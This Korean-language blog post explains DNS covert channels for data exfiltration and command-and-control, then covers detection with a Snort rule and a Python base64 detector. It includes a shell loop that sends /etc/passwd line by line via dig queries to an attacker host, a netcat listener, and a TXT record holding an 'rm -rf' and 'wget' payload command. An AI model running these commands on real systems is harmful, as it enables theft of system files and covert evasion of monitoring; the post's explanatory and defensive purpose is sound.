728x90
반응형

DNS Covert Channel: 보안 경계를 우회하는 은밀한 통신 기법

DNS 프로토콜은 인터넷 통신의 기본 인프라로 작동하지만, 이러한 필수적인 서비스가 공격자의 은밀한 통신 채널로 악용될 수 있다. DNS Covert Channel은 정상적인 DNS 트래픽에 숨겨진 데이터를 전송하는 고급 공격 기법이다.

DNS Covert Channel의 개념

DNS Covert Channel은 은닉채널(Covert Channel)의 일종으로, DNS 프로토콜의 특성을 이용해 탐지를 회피하며 데이터를 비정상적으로 전송하는 기법이다.

주요 특징:

  • TCP 연결 미사용 (대부분 UDP 기반)
  • 지속적인 세션 없이 단발성 쿼리로 통신
  • 대부분의 네트워크에서 기본적으로 허용되는 프로토콜 활용
  • 방화벽 우회 가능성 높음
  • 네트워크 모니터링 시스템에서 이상 탐지 어려움

DNS 프로토콜의 취약 특성

DNS 프로토콜이 은닉채널로 활용되기 쉬운 이유:

  1. 보편적 허용

    • 대부분의 기업 네트워크에서 DNS 트래픽 허용
    • 인터넷 접속에 필수적인 서비스로 차단 어려움
  2. 구조적 특성

    • 도메인 이름 레이블 활용 가능 (최대 63바이트)
    • 쿼리 이름 필드에 데이터 은닉 용이
    • 다양한 레코드 타입(TXT, NULL 등) 활용 가능
  3. 낮은 감시 수준

    • 일반적인 보안 모니터링에서 DNS 트래픽 내용 상세 분석 부족
    • 단순 연결 허용/차단 수준의 관리

공격 방식 및 구현 기법

DNS Covert Channel 구현 방법은 다양하지만, 주요 기법은 다음과 같다:

1. DNS 쿼리 이름 필드 활용

data.exfiltrated.malicious-domain.com

위 예시에서 'data'는 유출하려는 데이터를 인코딩한 값이다. 이러한 쿼리는 정상적인 DNS 트래픽으로 위장되어 탐지가 어렵다.

2. 서브도메인 인코딩

graph LR
    A[공격자 제어 시스템] -->|명령 전송| B[DNS 서버]
    B -->|응답 전달| C[감염된 호스트]
    C -->|데이터 유출<br>base64.encoded-data.attacker.com| B
    B -->|유출 데이터 전달| A

Base64 인코딩된 데이터를 서브도메인으로 분할하여 전송:

MDEyMzQ1.Njc4OTAx.Mjg0Nzk2.attacker.com

3. DNS 레코드 타입 활용

TXT, NULL 레코드 등 특수 레코드 타입을 활용하여 데이터 전송:

$ dig +short TXT command.attacker.com
"rm -rf /tmp/evidence && wget http://malware.site/payload"

4. DNS 응답 필드 활용

정상적인 쿼리에 대한 응답으로 조작된 데이터 전송:

sequenceDiagram
    participant 감염시스템
    participant DNS서버
    participant 공격자서버

    감염시스템->>DNS서버: normal-looking-query.com 조회
    DNS서버->>공격자서버: 권한 서버 질의
    공격자서버->>DNS서버: 조작된 응답 (명령 포함)
    DNS서버->>감염시스템: 조작된 응답 전달
    감염시스템->>감염시스템: 명령 실행

공격 시나리오: 데이터 유출 및 C&C 통신

일반적인 공격 절차

  1. 초기 감염

    • 악성 매크로가 포함된 문서 이메일 첨부
    • Drive-by-Download 공격으로 악성코드 설치
  2. 지속성 확보

    • 레지스트리 키 생성으로 시스템 재부팅 후에도 실행
    • 작업 스케줄러에 지속적 실행 태스크 등록
  3. C&C 통신 설정

    • DNS 쿼리를 통해 명령 서버와 통신
    • 정기적 명령 확인 및 결과 전송
  4. 데이터 유출

    • 시스템 정보, 사용자 자격 증명, 기밀 파일 등을 DNS 쿼리를 통해 외부로 전송

실제 공격 사례: passwd 파일 유출 예시

공격자 시스템 설정:

# 공격자 측 (53번 포트에서 UDP 패킷 수신 대기)
nc -lnp 53 -vv -u -k

피해자 시스템 실행 악성코드:

# 피해자 측 실행 코드 (passwd 파일을 한 줄씩 읽어 DNS 쿼리로 전송)
cat /etc/passwd | while read line; do
  encoded=$(echo -n "$line" | base64)
  dig @attacker-ip "$encoded.data.evil.com" +short
  sleep 1
done

이 코드는 피해자 시스템의 /etc/passwd 파일을 한 줄씩 읽어 Base64로 인코딩한 후, DNS 쿼리 형태로 공격자에게 전송한다.

탐지 및 방어 방안

1. 네트워크 기반 방어

  • 이상 DNS 트래픽 모니터링

    • 비정상적으로 긴 도메인 이름
    • 높은 빈도의 DNS 쿼리
    • 엔트로피 분석을 통한 인코딩된 데이터 탐지
  • DNS 필터링

    • 알려진 악성 도메인 차단
    • 비정상적 패턴의 DNS 쿼리 차단
  • DNS 암호화 트래픽(DoH, DoT) 모니터링

    • 내부 인증된 DNS 서버만 허용
    • DNS over HTTPS/TLS 통신 제어

2. 엔드포인트 기반 방어

  • DNS 클라이언트 모니터링

    • 신뢰할 수 있는 DNS 서버만 사용하도록 설정
    • 비정상적인 DNS 클라이언트 동작 탐지
  • 행위 기반 탐지

    • DNS 쿼리를 생성하는 비정상 프로세스 모니터링
    • 비정상적 DNS 통신 패턴 분석

3. 보안 운영 강화

  • DNS 로그 분석 강화

    • 중앙 로그 수집 및 분석
    • DNS 로그 기반 이상 행위 탐지 규칙 개발
  • DNS 서버 보안 설정

    • 재귀적 쿼리 제한
    • DNS 서버 권한 분리 및 최소 권한 원칙 적용
flowchart TB
    subgraph "방어 전략"
    A[네트워크 모니터링] --> A1[DNS 트래픽 분석]
    A --> A2[비정상 패턴 탐지]
    A --> A3[쿼리 길이/빈도 제한]

    B[DNS 서버 보안] --> B1[신뢰할 수 있는<br>서버만 허용]
    B --> B2[레코드 타입 제한]

    C[엔드포인트 보안] --> C1[프로세스 모니터링]
    C --> C2[DNS 클라이언트 제어]
    end

실제 구현 대응 방안

IDS/IPS 룰 예시

Snort 규칙 예시:

alert udp any any -> any 53 (msg:"DNS Covert Channel - Long hostname detected";
content:"|01|"; depth:1; byte_test:1,>,55,0,relative;
pcre:"/\.[a-zA-Z0-9-]{55,}\.(com|net|org|info)/"; sid:1000001; rev:1;)

모니터링 스크립트 예시

비정상적인 DNS 쿼리 탐지:

import dns.resolver
import base64
import re

def analyze_dns_query(query):
    # 긴 서브도메인 확인
    if len(query) > 50:
        print(f"WARNING: Unusually long query: {query}")

    # Base64 패턴 탐지
    subdomains = query.split('.')
    for sub in subdomains:
        if len(sub) > 8:
            try:
                decoded = base64.b64decode(sub)
                if re.match(r'^[\x20-\x7E]+$', decoded.decode('utf-8', errors='ignore')):
                    print(f"ALERT: Possible Base64 encoded data: {sub} -> {decoded}")
            except:
                pass

결론

DNS Covert Channel은 기존 보안 통제를 우회하기 위한 고급 공격 기법이다. 이러한 위협에 효과적으로 대응하기 위해서는:

  1. DNS 트래픽에 대한 심층적 분석 필요
  2. 행위 기반 탐지 시스템 구축
  3. 네트워크 및 엔드포인트 보안의 통합적 접근
  4. 보안 관제 담당자의 DNS 은닉채널에 대한 이해 필요

DNS는 인터넷 인프라의 핵심 요소이므로 완전히 차단할 수 없지만, 이상 탐지와 행위 분석을 통해 악의적인 사용을 식별하고 차단하는 것이 중요하다. 지속적인 모니터링과 최신 공격 기법에 대한 이해가 효과적인 방어의 핵심이다.

Keywords

DNS Covert Channel, 은닉채널, Command and Control, C&C 통신, Data Exfiltration, 데이터 유출, 보안 우회, 네트워크 모니터링, DNS 보안, 트래픽 분석

728x90
반응형

+ Recent posts